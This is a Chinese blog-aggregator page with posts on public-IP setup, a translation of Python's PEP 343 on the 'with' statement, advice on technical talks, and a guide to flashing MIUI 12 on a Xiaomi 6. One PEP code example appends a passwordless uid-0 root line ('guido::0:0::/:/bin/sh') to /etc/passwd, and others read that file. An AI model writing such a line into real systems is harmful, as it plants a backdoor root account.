第二天上班吃饭时间,打10010的客服热线,跟机器人折腾了5分钟终于和真人对话上了,告知我要公网IP,我原本还以为对方会设门槛,我把后面投诉说辞都想好了,没想到联通客服爽快的说可以更换公网IP的并且不收费。我去你的,要额外收费的话那真的是没天理。客服告知已经申请好了,10分钟后断电重启光猫即可。晚上下班回家,第一时间断电光猫,终于搞定。


最后就是利用宝塔建站点了,把三个动态域名都绑上,树莓派就可以充当内网测试服务器了。

附件:USB image tool


by 西枫里 at July 25, 2021 07:42 AM

July 14, 2021

pythoncat

Python 的上下文管理器是怎么设计的?

最近,我在看 Python 3.10 版本的更新内容时,发现有一个关于上下文管理器的小更新,然后,突然发现上下文管理器的设计 PEP 竟然还没人翻译过!于是,我断断续续花了两周时间,终于把这篇 PEP 翻译出来了。如果你不了解什么是 PEP,可以先查看这篇《学习Python,怎能不懂点PEP呢?》,如果你也对翻译 PEP 感兴趣,欢迎加入 Github 上的 peps-cn 项目。
PEP标题: PEP 343 — The “with” Statement
PEP作者: Guido van Rossum, Nick Coghlan
创建日期: 2005-05-13
合入版本: 2.5
译者 :豌豆花下猫@Python猫公众号

摘要

本 PEP 提议在 Python 中新增一种”with”语句,可以取代常规的 try/finally 语句。
在本 PEP 中,上下文管理器提供__enter__() 和 __exit__() 方法,在进入和退出 with 语句体时,这俩方法分别会被调用。

作者的批注

本 PEP 最初由 Guido 以第一人称编写,随后由 Nick Coghlan 根据 python-dev 上的讨论,做出了更新补充。所有第一人称的内容都出自于 Guido 的原文。
Python 的 alpha 版本发布周期暴露了本 PEP 以及相关文档和实现[14]中的术语问题。直到 Python 2.5 的第一个 beta 版本发布时,本 PEP 才稳定下来。
是的,本文某些地方的动词时态是混乱的。到现在为止,我们已经创作此 PEP 一年多了,所以,有些原本在未来的事情,现在已经成为过去了:)

介绍

经过对 PEP-340 及其替代方案的大量讨论后,我决定撤销 PEP-340,并提出了 PEP-310 的一个小变种。经过更多的讨论后,我又添加了一种机制,可以使用 throw() 方法,在挂起的生成器中抛出异常,或者用一个 close() 方法抛出一个 GeneratorExitexception;这些想法最初是在 python-dev [2] 上提出的,并得到了普遍的认可。我还将关键字改为了“with”。
(Python猫注:PEP-340 也是 Guido 写的,他最初用的关键字是“block”,后来改成了其它 PEP 提议的“with”。)
在本 PEP 被接受后,以下 PEP 由于重叠而被拒绝:
  • PEP-310,可靠的获取/释放对。这是 with 语句的原始提案。
  • PEP-319,Python 同步/异步代码块。通过提供合适的 with 语句控制器,本 PEP 可以涵盖它的使用场景:对于’synchronize’,我们可以使用示例 1 中的”locking”模板;对于’asynchronize’,我们可以使用类似的”unlock”模板。我认为不必要给代码块加上“匿名的”锁;事实上,应该尽可能地使用明确的互斥锁。
PEP-340 和 PEP-346 也与本 PEP 重叠,但当本 PEP 被提交时,它们就自行撤销了。
关于本 PEP 早期版本的一些讨论,可以在 Python Wiki[3] 上查看。

动机与摘要

PEP-340(即匿名的 block 语句)包含了许多强大的创意:使用生成器作为代码块模板、给生成器添加异常处理和终结,等等。除了赞扬之外,它还被很多人所反对,他们不喜欢它是一个(潜在的)循环结构。这意味着块语句中的 break 和 continue 可以中断或继续块语句,即使它原本被当作非循环的资源管理工具。
但是,直到我读了 Raymond Chen 对流量控制宏[1]的抨击时,PEP-340 才走入了末路。Raymond 令人信服地指出,在宏中藏有流程控制会让你的代码变得难以捉摸,我觉得他的论点不仅适用于 C,同样适用于 Python。我意识到,PEP-340 的模板可以隐藏各种控制流;例如,它的示例 4 (auto_retry())捕获了异常,并将代码块重复三次。
然而,在我看来,PEP-310 的 with 语句并没有隐藏控制流:虽然 finally 代码部分会暂时挂起控制流,但到了最后,控制流会恢复,就好像 finally 子句根本不存在一样。
在 PEP-310 中,它大致提出了以下的语法(“VAR =“部分是可选的):
with VAR = EXPR:
    BLOCK
大致可以理解为:
VAR = EXPR
VAR.__enter__()
try:
    BLOCK
finally:
    VAR.__exit__()
现在考虑这个例子:
with f = open("/etc/passwd"):
    BLOCK1
BLOCK2
在上例中,第一行就像是一个“if True”,我们知道如果 BLOCK1 在执行时没有抛异常,那么 BLOCK2 将会被执行;如果 BLOCK1 抛出异常,或执行了非局部的 goto (即 break、continue 或 return),那么 BLOCK2 就不会被执行。也就是说,with 语句所加入的魔法并不会影响到这种流程逻辑。
(你可能会问,如果__exit__() 方法因为 bug 导致抛异常怎么办?那么一切都完了——但这并不比其他情况更糟;异常的本质就是,它们可能发生在任何地方,你只能接受这一点。即便你写的代码没有 bug,KeyboardInterrupt 异常仍然会导致程序在任意两个虚拟机操作码之间退出。)
这个论点几乎让我采纳了 PEP-310,但是, PEP-340 还有一个亮点让我不忍放弃:使用生成器作为某些抽象化行为的“模板”,例如获取及释放一个锁,或者打开及关闭一个文件,这是一种很强大的想法,通过该 PEP 的例子就能看得出来。
受到 Phillip Eby 对 PEP-340 的反提议(counter-proposal)的启发,我尝试创建一个装饰器,将合适的生成器转换为具有必要的__enter__() 和 __exit__() 方法的对象。我在这里遇到了一个障碍:虽然这对于锁的例子来说并不太难,但是对于打开文件的例子,却不可能做到这一点。我的想法是像这样定义模板:
@contextmanager
def opening(filename):
    f = open(filename)
    try:
        yield f
    finally:
        f.close()
并这样使用它:
with f = opening(filename):
    ...read data from f...
问题是在 PEP-310 中,EXPR 的调用结果直接分配给 VAR,然后 VAR 的__exit__() 方法会在 BLOCK1 退出时被调用。但是这里,VAR 显然需要接收打开的文件,这意味着__exit__() 必须是文件对象的一个方法。
虽然这可以使用代理类来解决,但会很别扭,同时我还意识到,只需做出一个小小的转变,就能轻轻松松地写出所需的装饰器:让 VAR 接收__enter__() 方法的调用结果,接着保存 EXPR 的值,以便最后调用它的__exit__() 方法。
然后,装饰器可以返回一个包装器的实例,其__enter__() 方法调用生成器的 next() 方法,并返回 next() 所返回的值;包装器实例的__exit__() 方法再次调用 next(),但期望它抛出 StopIteration。(详细信息见下文的生成器装饰器部分。)
因此,最后一个障碍便是 PEP-310 语法:
with VAR = EXPR:
    BLOCK1
这是有欺骗性的,因为 VAR 不接收 EXPR 的值。借用 PEP-340 的语法,很容易改成:
with EXPR as VAR:
    BLOCK1
在其他的讨论中,人们真的很喜欢能够“看到”生成器中的异常,尽管仅仅是为了记日志;生成器不允许产生(yield)其它的值,因为 with 语句不应该作为循环使用(引发不同的异常是勉强可以接受的)。
为了做到这点,我建议为生成器提供一个新的 throw() 方法,该方法以通常的方式接受 1 到 3 个参数(类型、值、回溯),表示一个异常,并在生成器挂起的地方抛出。
一旦我们有了这个,下一步就是添加另一个生成器方法 close(),它用一个特殊的异常(即 GeneratorExit)调用 throw(),可以令生成器退出。有了这个,在生成器被当作垃圾回收时,可以让程序自动调用 close()。
最后,我们可以允许在 try-finally 语句中使用 yield 语句,因为我们现在可以保证 finally 子句必定被执行。关于终结(finalization)的常见注意事项——进程可能会在没有终结任何对象的情况下突然被终止,而这些对象可能会因程序的周期或内存泄漏而永远存活(在 Python 的实现中,周期或内存泄漏会由 GC 妥善处理)。
请注意,在使用完生成器对象后,我们不保证会立即执行 finally 子句,尽管在 CPython 中是这样实现的。这类似于自动关闭文件:像 CPython 这样的引用计数型解释器,它会在最后一个引用消失时释放一个对象,而使用其他 GC 算法的解释器不保证也是如此。这指的是 Jython、IronPython,可能包括运行在 Parrot 上的 Python。
(关于对生成器所做的更改,可以在 PEP-342 中找到细节,而不是在当前 PEP 中。)

用例

请参阅文档末尾的示例部分。

规格说明:‘with’语句

提出了一种新的语句,语法如下:
with EXPR as VAR:
    BLOCK
在这里,“with”和“as”是新的关键字;EXPR 是任意一个表达式(但不是表达式列表),VAR 是一个单一的赋值目标。它不能是以逗号分隔的变量序列,但可以是以圆括号包裹的以逗号分隔的变量序列。(这个限制使得将来的语法扩展可以出现多个逗号分隔的资源,每个资源都有自己的可选 as 子句。)
“as VAR”部分是可选的。
上述语句可以被翻译为:
mgr = (EXPR)
exit = type(mgr).__exit__  # Not calling it yet
value = type(mgr).__enter__(mgr)
exc = True
try:
    try:
        VAR = value  # Only if "as VAR" is present
        BLOCK
    except:
        # The exceptional case is handled here
        exc = False
        if not exit(mgr, *sys.exc_info()):
            raise
        # The exception is swallowed if exit() returns true
finally:
    # The normal and non-local-goto cases are handled here
    if exc:
        exit(mgr, None, None, None)
在这里,小写变量(mgr、exit、value、exc)是内部变量,用户不能访问;它们很可能是由特殊的寄存器或堆栈位置来实现。
上述详细的翻译旨在说明确切的语义。解释器会按照顺序查找相关的方法(__exit__、__enter__),如果没有找到,将引发 AttributeError。类似地,如果任何一个调用引发了异常,其效果与上述代码中的效果完全相同。
最后,如果 BLOCK 包含 break、continue 或 return 语句,__exit__() 方法就会被调用,带三个 None 参数,就跟 BLOCK 正常执行完成一样。(也就是说,__exit__() 不会将这些“伪异常”视为异常。)
如果语法中的”as VAR”部分被省略了,则翻译中的”VAR =“部分也要被忽略(但 mgr.__enter__() 仍然会被调用)。
mgr.__exit__() 的调用约定如下。如果 finally 子句是通过 BLOCK 的正常完成或通过非局部 goto(即 BLOCK 中的 break、continue 或 return 语句)到达,则使用三个 None 参数调用mgr.__exit__()。如果 finally 子句是通过 BLOCK 引发的异常到达,则使用异常的类型、值和回溯这三个参数调用 mgr.__exit__()。
重要:如果 mgr.__exit__() 返回“true”,则异常将被“吞灭”。也就是说,如果返回”true”,即便在 with 语句内部发生了异常,也会继续执行 with 语句之后的下一条语句。然而,如果 with 语句通过非局部 goto (break、continue 或 return)跳出,则这个非局部返回将被重置,不管 mgr.__exit__() 的返回值是什么。这个细节的动机是使 mgr.__exit__() 能够吞咽异常,而不使异常产生影响(因为默认的返回值 None为 false,这会导致异常被重新 raise)。吞下异常的主要用途是使编写 @contextmanager 装饰器成为可能,这样被装饰的生成器中的 try/except 代码块的行为就好像生成器的主体在 with-语句里内联展开了一样。
之所以将异常的细节传给__exit__(),而不用 PEP -310 中不带参数的__exit__(),原因是考虑到下面例子 3 的 transactional()。该示例会根据是否发生异常,从而决定提交或回滚事务。我们没有用一个 bool 标志区分是否发生异常,而是传了完整的异常信息,目的是可以记录异常日志。依赖于 sys.exc_info() 获取异常信息的提议被拒绝了;因为 sys.exc_info() 有着非常复杂的语义,它返回的异常信息完全有可能是很久之前就捕获的。有人还提议添加一个布尔值,用于区分是到达 BLOCK 结尾,还是非局部 goto。这因为过于复杂和不必要而被拒绝;对于数据库事务回滚,非局部 goto 应该被认为是正常的。
为了促进 Python 代码中上下文的链接作用,__exit__() 方法不应该继续 raise 传递给它的错误。在这种情况下,__exit__() 方法的调用者应该负责处理 raise。
这样,如果调用者想知道__exit__() 是否调用失败(而不是在传出原始错误之前就完成清理),它就可以自己判断。
如果__exit__() 没有返回错误,那么就可以将__exit__() 方法本身解释为成功(不管原始错误是被传播还是抑制)。
然而,如果__exit__() 向其调用者传播了异常,这就意味着__exit__() 本身已经失败。因此,__exit__() 方法应该避免引发错误,除非它们确实失败了。(允许原始错误继续并不是失败。)

过渡计划

在 Python 2.5 中,新语法需要通过 future 引入:
from __future__ import with_statement
它会引入’with’和’as’关键字。如果没有导入,使用’with’或’as’作为标识符时,将导致报错。
在 Python 2.6 中,新语法总是生效的,‘with’和’as’已经是关键字。

生成器装饰器

随着 PEP-342 被采纳,我们可以编写一个装饰器,令其使用只 yield 一次的生成器来控制 with 语句。这是一个装饰器的粗略示例:
class GeneratorContextManager(object):
   def __init__(self, gen):
       self.gen = gen
   def __enter__(self):
       try:
           return self.gen.next()
       except StopIteration:
           raise RuntimeError("generator didn't yield")
   def __exit__(self, type, value, traceback):
       if type is None:
           try:
               self.gen.next()
           except StopIteration:
               return
           else:
               raise RuntimeError("generator didn't stop")
       else:
           try:
               self.gen.throw(type, value, traceback)
               raise RuntimeError("generator didn't stop after throw()")
           except StopIteration:
               return True
           except:
               # only re-raise if it's *not* the exception that was
               # passed to throw(), because __exit__() must not raise
               # an exception unless __exit__() itself failed.  But
               # throw() has to raise the exception to signal
               # propagation, so this fixes the impedance mismatch
               # between the throw() protocol and the __exit__()
               # protocol.
               #
               if sys.exc_info()[1] is not value:
                   raise
def contextmanager(func):
   def helper(*args, **kwds):
       return GeneratorContextManager(func(*args, **kwds))
   return helper
这个装饰器可以这样使用:
@contextmanager
def opening(filename):
   f = open(filename) # IOError is untouched by GeneratorContext
   try:
       yield f
   finally:
       f.close() # Ditto for errors here (however unlikely)
这个装饰器的健壮版本将会加入到标准库中。

标准库中的上下文管理器

可以将__enter__() 和__exit__() 方法赋予某些对象,如文件、套接字和锁,这样就不用写:
with locking(myLock):
    BLOCK
而是简单地写成:
with myLock:
    BLOCK
我想我们应该谨慎对待它;它可能会导致以下的错误:
f = open(filename)
with f:
    BLOCK1
with f:
    BLOCK2
它可能跟你想的不一样(在进入 block2 之前,f 已经关闭了)。
另一方面,这样的错误很容易诊断;例如,当第二个 with 语句再调用 f.__enter__() 时,上面的生成器装饰器将引发 RuntimeError。如果在一个已关闭的文件对象上调用__enter__,则可能引发类似的错误。
在 Python 2.5中,以下类型被标识为上下文管理器:
- file
- thread.LockType
- threading.Lock
- threading.RLock
- threading.Condition
- threading.Semaphore
- threading.BoundedSemaphore
还将在 decimal 模块添加一个上下文管理器,以支持在 with 语句中使用本地的十进制算术上下文,并在退出 with 语句时,自动恢复原始上下文。

标准术语

本 PEP 提议将由__enter__() 和 __exit__() 方法组成的协议称为“上下文管理器协议”,并将实现该协议的对象称为“上下文管理器”。[4]
紧跟着 with 关键字的表达式被称为“上下文表达式”,该表达式提供了上下文管理器在with 代码块中所建立的运行时环境的主要线索。
目前为止, with 语句体中的代码和 as 关键字后面的变量名(一个或多个)还没有特殊的术语。可以使用一般的术语“语句体”和“目标列表”,如果这些术语不清晰,可以使用“with”或“with statement”作为前缀。
考虑到可能存在 decimal 模块的算术上下文这样的对象,因此术语“上下文”是有歧义的。如果想要更加具体的话,可以使用术语“上下文管理器”,表示上下文表达式所创建的具体对象;使用术语“运行时上下文”或者(最好是)“运行时环境”,表示上下文管理器所做出的实际状态的变更。当简单地讨论 with 语句的用法时,歧义性无关紧要,因为上下文表达式完全定义了对运行时环境所做的更改。当讨论 with 语句本身的机制以及如何实际实现上下文管理器时,这些术语的区别才是重要的。

缓存上下文管理器

许多上下文管理器(例如文件和基于生成器的上下文)都是一次性的对象。一旦__exit__() 方法被调用,上下文管理器将不再可用(例如:文件已经被关闭,或者底层生成器已经完成执行)。
对于多线程代码,以及嵌套的 with 语句想要使用同一个上下文管理器,最简单的方法是给每个 with 语句一个新的管理器对象。并非巧合的是,标准库中所有支持重用的上下文管理器都来自 threading 模块——它们都被设计用来处理由线程和嵌套使用所产生的问题。
这意味着,为了保存带有特定初始化参数(为了用在多个 with 语句)的上下文管理器,通常需要将它存储在一个无参数的可调用对象,然后在每个语句的上下文表达式中调用,而不是直接把上下文管理器缓存起来。
如果此限制不适用,在受影响的上下文管理器的文档中,应该清楚地指出这一点。

解决的问题

以下的问题经由 BDFL 的裁决而解决(并且在 python-dev 上没有重大的反对意见)。
1、当底层的生成器-迭代器行为异常时,GeneratorContextManager 应该引发什么异常?下面引用的内容是 Guido 为本 PEP及 PEP-342 (见[8])中生成器的 close() 方法选择 RuntimeError 的原因:“我不愿意只是为了它而引入一个新的异常类,因为这不是我想让人们捕获的异常:我想让它变成一个回溯(traceback),被程序员看到并且修复。因此,我认为它们都应该引发 RuntimeError。有一些引发 RuntimeError 的先例:Python 核心代码在检测到无限递归时,遇到未初始化的对象时(以及其它各种各样的情况)。”
2、如果在with语句所涉及的类中没有相关的方法,则最好是抛出AttributeError而不是TypeError。抽象对象C API引发TypeError而不是AttributeError,这只是历史的一个偶然,而不是经过深思熟虑的设计决策[11]。
3、带有__enter__ /__exit__方法的对象被称为“上下文管理器”,将生成器函数转化为上下文管理器工厂的是 contextlib.contextmanager 装饰器。在 2.5版本发布期间,有人提议使用其它的叫法[16],但没有足够令人信服的理由。

拒绝的选项

在长达几个月的时间里,对于是否要抑制异常(从而避免隐藏的流程控制),出现了一场令人痛苦的拉锯战,最终,Guido 决定要抑制异常[13]。
本 PEP 的另一个话题也引起了无休止的争论,即是否要提供一个__context__() 方法,类似于可迭代对象的__iter__() 方法[5][7][9]。源源不断的问题[10][13]在解释它是什么、为什么是那样、以及它是如何工作的,最终导致 Guido 完全抛弃了这个东西[15](这很让人欢欣鼓舞!)
还有人提议直接使用 PEP-342 的生成器 API 来定义 with 语句[6],但这很快就不予考虑了,因为它会导致难以编写不基于生成器的上下文管理器。

例子

基于生成器的示例依赖于 PEP-342。另外,有些例子是不实用的,因为标准库中有现成的对象可以在 with 语句中直接使用,例如 threading.RLock。
例子中那些函数名所用的时态并不是随意的。过去时态(“-ed”)的函数指的是在__enter__方法中执行,并在__exit__方法中反执行的动作。进行时态(“-ing”)的函数指的是准备在__exit__方法中执行的动作。
1、一个锁的模板,在开始时获取,在离开时释放:
@contextmanager
def locked(lock):
    lock.acquire()
    try:
        yield
    finally:
        lock.release()
使用如下:
with locked(myLock):
    # Code here executes with myLock held.  The lock is
    # guaranteed to be released when the block is left (even
    # if via return or by an uncaught exception).
2、一个打开文件的模板,确保当代码被执行后,文件会被关闭:
@contextmanager
def opened(filename, mode="r"):
    f = open(filename, mode)
    try:
        yield f
    finally:
        f.close()
使用如下:
with opened("/etc/passwd") as f:
    for line in f:
        print line.rstrip()
3、一个数据库事务的模板,用于提交或回滚:
@contextmanager
def transaction(db):
    db.begin()
    try:
        yield None
    except:
        db.rollback()
        raise
    else:
        db.commit()
4、不使用生成器,重写例子 1:
class locked:
   def __init__(self, lock):
       self.lock = lock
   def __enter__(self):
       self.lock.acquire()
   def __exit__(self, type, value, tb):
       self.lock.release()
(这个例子很容易被修改来实现其他相对无状态的例子;这表明,如果不需要保留特殊的状态,就不必要使用生成器。)
5、临时重定向 stdout:
@contextmanager
def stdout_redirected(new_stdout):
    save_stdout = sys.stdout
    sys.stdout = new_stdout
    try:
        yield None
    finally:
        sys.stdout = save_stdout
使用如下:
with opened(filename, "w") as f:
    with stdout_redirected(f):
        print "Hello world"
当然,这不是线程安全的,但是若不用管理器的话,本身也不是线程安全的。在单线程程序(例如脚本)中,这种做法很受欢迎。
6、opened() 的一个变体,也返回一个错误条件:
@contextmanager
def opened_w_error(filename, mode="r"):
    try:
        f = open(filename, mode)
    except IOError, err:
        yield None, err
    else:
        try:
            yield f, None
        finally:
            f.close()
使用如下:
with opened_w_error("/etc/passwd", "a") as (f, err):
    if err:
        print "IOError:", err
    else:
        f.write("guido::0:0::/:/bin/sh\n")
7、另一个有用的操作是阻塞信号。它的用法是这样的:
import signal
with signal.blocked():
    # code executed without worrying about signals
它的参数是可选的,表示要阻塞的信号列表;在默认情况下,所有信号都被阻塞。具体实现就留给读者作为练习吧。
8、此特性还有一个用途是 Decimal 上下文。下面是 Michael Chermside 发布的一个简单的例子:
import decimal
@contextmanager
def extra_precision(places=2):
    c = decimal.getcontext()
    saved_prec = c.prec
    c.prec += places
    try:
        yield None
    finally:
        c.prec = saved_prec
示例用法(摘自 Python 库参考文档):
def sin(x):
    "Return the sine of x as measured in radians."
    with extra_precision():
        i, lasts, s, fact, num, sign = 1, 0, x, 1, x, 1
        while s != lasts:
            lasts = s
            i += 2
            fact *= i * (i-1)
            num *= x * x
            sign *= -1
            s += num / fact * sign
    # The "+s" rounds back to the original precision,
    # so this must be outside the with-statement:
    return +s
9、下面是 decimal 模块的一个简单的上下文管理器:
@contextmanager
def localcontext(ctx=None):
    """Set a new local decimal context for the block"""
    # Default to using the current context
    if ctx is None:
        ctx = getcontext()
    # We set the thread context to a copy of this context
    # to ensure that changes within the block are kept
    # local to the block.
    newctx = ctx.copy()
    oldctx = decimal.getcontext()
    decimal.setcontext(newctx)
    try:
        yield newctx
    finally:
        # Always restore the original context
        decimal.setcontext(oldctx)
示例用法:
from decimal import localcontext, ExtendedContext
def sin(x):
    with localcontext() as ctx:
        ctx.prec += 2
        # Rest of sin calculation algorithm
        # uses a precision 2 greater than normal
    return +s # Convert result to normal precision
def sin(x):
    with localcontext(ExtendedContext):
        # Rest of sin calculation algorithm
        # uses the Extended Context from the
        # General Decimal Arithmetic Specification
    return +s # Convert result to normal context
10、一个通用的“对象关闭”上下文管理器:
class closing(object):
    def __init__(self, obj):
        self.obj = obj
    def __enter__(self):
        return self.obj
    def __exit__(self, *exc_info):
        try:
            close_it = self.obj.close
        except AttributeError:
            pass
        else:
            close_it()
这可以确保关闭任何带有 close 方法的东西,无论是文件、生成器,还是其他东西。它甚至可以在对象并不需要关闭的情况下使用(例如,一个接受了任意可迭代对象的函数):
# emulate opening():
with closing(open("argument.txt")) as contradiction:
   for line in contradiction:
       print line
# deterministically finalize an iterator:
with closing(iter(data_source)) as data:
   for datum in data:
       process(datum)
(Python 2.5 的 contextlib 模块包含了这个上下文管理器的一个版本)
11、PEP-319 给出了一个用例,它也有一个 release() 上下文,能临时释放先前获得的锁;这个用例跟前文的例子 4 很相似,只是交换了 acquire() 和 release() 的调用:
class released:
  def __init__(self, lock):
      self.lock = lock
  def __enter__(self):
      self.lock.release()
  def __exit__(self, type, value, tb):
      self.lock.acquire()
示例用法:
with my_lock:
    # Operations with the lock held
    with released(my_lock):
        # Operations without the lock
        # e.g. blocking I/O
    # Lock is held again here
12、一个“嵌套型”上下文管理器,自动从左到右嵌套所提供的上下文,可以避免过度缩进:
@contextmanager
def nested(*contexts):
    exits = []
    vars = []
    try:
        try:
            for context in contexts:
                exit = context.__exit__
                enter = context.__enter__
                vars.append(enter())
                exits.append(exit)
            yield vars
        except:
            exc = sys.exc_info()
        else:
            exc = (None, None, None)
    finally:
        while exits:
            exit = exits.pop()
            try:
                exit(*exc)
            except:
                exc = sys.exc_info()
            else:
                exc = (None, None, None)
        if exc != (None, None, None):
            # sys.exc_info() may have been
            # changed by one of the exit methods
            # so provide explicit exception info
            raise exc[0], exc[1], exc[2]
示例用法:
with nested(a, b, c) as (x, y, z):
    # Perform operation
等价于:
with a as x:
    with b as y:
        with c as z:
            # Perform operation
(Python 2.5 的 contextlib 模块包含了这个上下文管理器的一个版本)

参考实现

在 2005 年 6 月 27 日的 EuroPython 会议上,Guido 首次采纳了这个 PEP。之后它添加了__context__方法,并被再次采纳。此 PEP 在 Python 2.5 a1 子版本中实现,__context__() 方法在 Python 2.5b1 中被删除。

致谢

许多人对这个 PEP 中的想法和概念作出了贡献,包括在 PEP-340 和 PEP-346 的致谢中提到的所有人。
另外,还要感谢(排名不分先后):Paul Moore, Phillip J. Eby, Greg Ewing, Jason Orendorff, Michael Hudson, Raymond Hettinger, Walter Dörwald, Aahz, Georg Brandl, Terry Reedy, A.M. Kuchling, Brett Cannon,以及所有参与了 python-dev 讨论的人。

参考链接

[1] Raymond Chen’s article on hidden flow controlhttps://devblogs.microsoft.com/oldnewthing/20050106-00/?p=36783
[2] Guido suggests some generator changes that ended up in PEP 342https://mail.python.org/pipermail/python-dev/2005-May/053885.html
[3] Wiki discussion of PEP 343http://wiki.python.org/moin/WithStatement
[4] Early draft of some documentation for the with statementhttps://mail.python.org/pipermail/python-dev/2005-July/054658.html
[6] Proposal to use the PEP 342 enhanced generator API directlyhttps://mail.python.org/pipermail/python-dev/2005-October/056969.html
[7] Guido lets me (Nick Coghlan) talk him into a bad idea ;)https://mail.python.org/pipermail/python-dev/2005-October/057018.html
[8] Guido raises some exception handling questionshttps://mail.python.org/pipermail/python-dev/2005-June/054064.html
[9] Guido answers some questions about the context methodhttps://mail.python.org/pipermail/python-dev/2005-October/057520.html
[10] Guido answers more questions about the context methodhttps://mail.python.org/pipermail/python-dev/2005-October/057535.html
[11] Guido says AttributeError is fine for missing special methodshttps://mail.python.org/pipermail/python-dev/2005-October/057625.html

版权

本文档已进入公共领域。

July 14, 2021 12:00 AM

July 13, 2021

coolshell

如何做一个有质量的技术分享

分享信息并不难,大多数人都能做到,就算是不善言谈性格内向的技术人员,通过博客或社交媒体,或是不正式的交流,他们都能或多或少的做到。但是如果你想要做一个有质量有高度的分享,这个就难了,所谓的有质量和有高度,我心里面的定义有两点:1)分享内容的保鲜期是很长的,2)会被大范围的传递。我们团队内每周都在做技术分享,虽然分享的主题都很有价值,但是分享的质量参差不齐,所以,想写下这篇文章 。供大家参考。

首先,我们先扪心自问一下,我们自己觉得读到的好的技术文章是什么?我不知道大家的是什么,我个人认为的好的文章是下面这样的:

  • 把复杂的问题讲解的很简单也很清楚。比如我高中时期读到这本1978年出版的《从一到无穷大》,用各种简单通俗通懂的话把各种复杂的科学知识讲的清清楚楚。还有看过的几本很好的书,有一本是《Windows程序设计》,从一个hello world的程序开始一步一步教你Windows下的原生态编程。
  • 有各种各样的推导和方案的比较,让你知其然知其所以然。有了不同方案的比较,才可能让人有全面的认识。这个方面的经典作著是《Effective C++》。
  • 原理、为什么、思路、方法论会让人一通百通。这里面最经典的恐怕就是《十万个为什么》了,在计算机方面也有几本经典书,有《Unix编程艺术》、《设计模式》、《深入理解计算机系统》等书,以及《The C10K Problem》等很多技术论文。

其实,从教科书,到专业书,再到论文,都有上面这些不错的特质。

所以,如果你想做一个好的技术分享的话,下面是我总结出来的方法,供你参考。

  • 先描述好一个问题。这样能够听众带入进来,如果这个问题是他们感同身受的,那是最好了。千万不要一上来就说What,或是直接冲进答案里。这样的分享是在灌输和填鸭。把Why说清楚。没有Why,直接谈What的技术分享,通常来说价值不大。
  • How比What重要。在讲How的时候,也就是如何解这个问题。
    • 先要把问题模型说清楚,有了问题模型这个框框后,方案才有意义。
    • 然后要有不同技术的比较。有了比较后,听众才会更相信你。
    • 直接上What的技术细节,其实没有太大意义。
  • 一定要有Best Practice或方法论总结,否则上不了档次的。也就是分享中大家可以得到的重要收获。

说明了这个模型就是:问题 –> 方案 –> 总结。这其中是有一定的心理学模型的,具体表现如下:

  • 用问题来吸引受众,带着受众来一起思考
  • 用问题模型来框住受众的思考范围,让受众聚焦
  • 给出几种不同的解决方案,比较他们的优缺点,让受众有一种解决问题的参与感。
  • 最后,给出最佳实践,方法论或套路,因为有了前三步的铺垫,受众欣然接受。
  • 整个过程会让受众有强烈的成长感和收获感。

这里有几个示例,也是我在我司 MegaEase 内部的技术分享,供你参考(我个人的YouTube频道

技术分享:Prometheus是怎么存储数据的(Youtube)

技术分享:Distributed Lock Manager(Youtube)

下面是我写在我们公司内的Knowledge Sharing中的Best Practice,供参考

Sharing Guideline

Please follow the following sharing protocols

Understand Sharing

  • Sharing is the hard way to learn knowledge. The presenter gains the biggest advantages. not audience. 分享是学习知识的最难的方式。分享者获得的好处最最多的,而不是观众。
  • Sharing can open the knowledge door for the audience, but you have to walk to knowledge by yourself. 分享可以为听众打开知识的大门,但你能不能获得知识还要靠你自己。

Best Practices

To perform a great sharing, please follow the below practices.

  • Do not share a big topic, a small topic is better. A big topic could make the audience lose focus. Remember, Less is More!
  • Sharing time less than 60 mins is the best.
  • English language for slides is preferred.
  • While prepare the sharing contents, it’s better to discuss with the senior people to help you to see the whole picture, understand the good side and bad side, know what you don’t know … etc.
  • Strong Recommend Materials Outlines
    • What’s the Problem?
    • How to Solve the Problem?
    • The Best Solution or Practice.
    • The Mechanism, Key Techniques, and Source Code
    • Pros/Cons
    • References (Further reading)

For example, if you want to sharing a topic about Docker. the following outlines would be good one:

  • What’s the major problems need to solve. (Provision, Environment, Isolation etc.)
  • The Alternative solutions. (Puppet/Chef/Ansible, VM, LXC etc.)
  • The Best Solution – Docker. Why?
  • Docker’s key techniques – image, cgroup, union fs, namespace…
  • Docker’s Pros/Cons
  • Further reading list.

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 如何做一个有质量的技术分享 first appeared on 酷 壳 - CoolShell.

by 陈皓 at July 13, 2021 05:00 AM

July 04, 2021

anji66

米6刷MIUI12的简易教程(进击的小米6)

雷布斯说一代神机小米6还有215W用户在使用,作为215万分之一的钉子户,吃干榨净米6的价值当然是要奉为圭臬。啊呸,好吧我承认,我就是没钱。很久之前同事把他的米8换代到了米10,体验了一把MIUI12,一直等雷布斯说的不会落下米6的用户,眼巴巴看着MIUI12都升级到了12.5,米6的11的稳定版却再也不更新。

1625417089503111.jpg


去年从11降级到10,一堆问题又回到了11,试用了同事的12,心里直痒痒。一直谋划着更新到12。前几天同事给了我一个米粉刷机的ROM集合站,之前一直在MIUI论坛上找ROM,没想到这个站上的ROM也都是官方的,官方没放出来的链接这里也有。看了一下竟然有米6版的MIUI12。具体链接请点击这里。昨天实在睡不着,后半夜了也不会有公司的消息打扰,所以刷机就自然安排上了。


一、刷机准备,下载ROM及解锁工具、刷机工具

1、备份手机资料。好吧,我从来不备份手机资料的,都是一清到底。

2、下载ROM。上面的链接打开,选择最新版的20.6.18 MIUI12 开发版(公测),下载到本地是一个zip的压缩包。

3、下载刷机工具MiFlash。上面站导航上有一个“下载小米刷机工具”的链接,打开就是MIFlash,MIFlash是小米官方出品的刷机工具。

4、下载解锁工具:小米手机分为有BL锁版本和无锁版本,米6是有锁版本,需要提前解锁BootLoader,下载地址可以参考我前一篇博文,不想看的,请直接点这里


二、解锁BootLoader

具体步骤在上述页面上有写,我照搬一下:1.进入“设置 -> 开发者选项 -> 设备解锁状态”中绑定账号和设备;2.手动进入Bootloader模式(关机后,同时按住开机键和音量下键);3.通过USB连接手机,点击 “解锁”按钮。啥?咋找不到开发者选项?开发者选项在设置 -> 我的设备 -> 全部参数 -> 不停的点击MIUI版本,就会提示已经打开了开发者选项。解锁过程略,我前面文章里面有图文介绍。


三、第一次刷机失败(本条是错误示范,需要刷机的朋友请忽略)

